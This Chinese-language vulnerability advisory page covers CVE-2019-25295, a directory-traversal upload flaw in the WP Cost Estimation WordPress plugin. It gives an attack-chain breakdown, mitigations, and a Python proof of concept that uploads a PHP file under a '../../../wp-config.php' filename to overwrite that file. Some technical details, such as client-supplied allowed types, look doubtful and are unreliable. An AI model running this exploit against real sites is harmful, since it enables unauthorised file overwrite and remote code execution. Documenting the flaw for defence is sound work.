IPBUF安全漏洞报告
English
CVE-2019-25295 CVSS 6.5 中危

CVE-2019-25295 WordPress WP Cost Estimation插件上传目录遍历漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2019-25295
漏洞类型
上传目录遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WP Cost Estimation WordPress插件

相关标签

目录遍历文件上传WordPress插件漏洞CVE-2019-25295WP Cost Estimation远程代码执行上传绕过WordPress安全

漏洞概述

CVE-2019-25295是WordPress平台下WP Cost Estimation(付款表单构建器)插件中的一个高危安全漏洞。该插件用于创建成本估算和付款表单,在WordPress生态中拥有广泛的用户群体。漏洞存在于插件的uploadFormFiles函数中,攻击者可以利用目录遍历技术(Directory Traversal)在文件上传过程中将恶意文件写入服务器上的任意位置。攻击者通过构造特殊的文件上传请求,在文件名中包含路径遍历字符序列(如../),可以绕过插件的文件上传验证机制,将具有白名单扩展名的文件(如.php、.jpg等)写入到网站根目录或其他敏感目录。由于该漏洞无需认证即可利用(PR:N),且可以通过网络远程发起攻击(AV:N),因此具有较高的实际威胁性。攻击者成功利用此漏洞可以覆写网站的配置文件、主题文件或其他关键文件,从而实现远程代码执行,完全控制受影响的WordPress网站。此漏洞影响9.660之前的所有版本,Wordfence安全团队于2019年2月披露了此漏洞并发布了安全公告。

技术细节

WP Cost Estimation插件的uploadFormFiles函数在处理文件上传时存在严重的路径遍历漏洞。该函数在接收用户上传的文件时,未能正确验证和清理用户提供的文件名参数,允许攻击者通过在文件名中注入路径遍历序列来指定任意文件路径。漏洞的技术原理如下:首先,插件在处理文件上传请求时,直接将用户提交的文件名用于构建目标保存路径,而没有对文件名进行充分的过滤和验证。其次,函数允许文件名中包含../等目录遍历字符,这些字符在路径处理时会被正确解析为上级目录,从而允许攻击者将文件写入到插件目录之外的任意位置。攻击者可以利用此漏洞覆写WordPress的核心文件(如wp-config.php)、主题文件或.htaccess等敏感文件。由于插件对文件扩展名进行了白名单验证,攻击者需要使用白名单内的扩展名(如.php)来绕过扩展名检查,但这并不影响攻击者将文件写入到期望的位置。攻击者通常会先上传一个包含恶意代码的PHP文件,然后通过访问该文件来执行任意代码,实现对网站的完全控制。

攻击链分析

STEP 1
步骤1
攻击者识别使用WP Cost Estimation插件版本<9.660的WordPress网站
STEP 2
步骤2
攻击者构造包含目录遍历路径的特殊文件名,如../../../wp-config.php
STEP 3
步骤3
攻击者向插件的uploadFormFiles函数发送恶意文件上传请求
STEP 4
步骤4
服务器端函数未正确验证文件名,允许路径遍历字符通过
STEP 5
步骤5
恶意文件被写入到攻击者指定的任意位置(如wp-config.php)
STEP 6
步骤6
攻击者访问写入的恶意文件执行任意代码,实现远程控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2019-25295 PoC - WP Cost Estimation Directory Traversal File Upload # Target: WordPress site with WP Cost Estimation plugin < 9.660 def exploit_directory_traversal(target_url, file_path='/wp-config.php'): """ Exploit the directory traversal vulnerability in WP Cost Estimation plugin to overwrite arbitrary files with whitelisted file types. Args: target_url: Base URL of the vulnerable WordPress site file_path: Target file path to overwrite (default: wp-config.php) """ # Prepare malicious file content malicious_code = "<?php phpinfo(); ?>" # Construct directory traversal path # Using ../../../ to traverse to root and then write to target file traversal_path = "../../../" + file_path.lstrip('/') # Target endpoint - typically in the plugin's upload handler upload_url = f"{target_url}/wp-content/plugins/wp-cost-estimation-payment-forms-builder/includes/upload.php" # Prepare multipart form data files = { 'file': (traversal_path + '.php', malicious_code, 'application/x-php'), 'uploadDir': ('../../', 'text/plain'), 'userId': ('1', 'text/plain') } data = { 'uploadType': 'normal', 'allowedTypes': 'jpg,png,gif,pdf,php' # Whitelisted types } try: print(f"[*] Target: {target_url}") print(f"[*] Upload URL: {upload_url}") print(f"[*] Target file: {file_path}") print(f"[*] Sending malicious request...") response = requests.post(upload_url, files=files, data=data, timeout=30) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") if response.status_code == 200: print("[+] Request completed - check if file was written") else: print("[-] Request failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [file_path]") print(f"Example: python {sys.argv[0]} http://example.com /wp-config.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else '/wp-config.php' exploit_directory_traversal(target, file_path)

影响范围

WP Cost Estimation Payment Forms Builder < 9.660

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1)禁用或删除WP Cost Estimation插件;2)限制PHP文件在上传目录的执行权限,在.htaccess中添加限制规则;3)通过Web应用防火墙阻止包含../序列的请求;4)限制wp-content目录的写入权限,仅允许必要的目录可写;5)使用Wordfence等安全插件设置文件修改警报,及时发现异常文件写入行为。建议在条件允许时尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表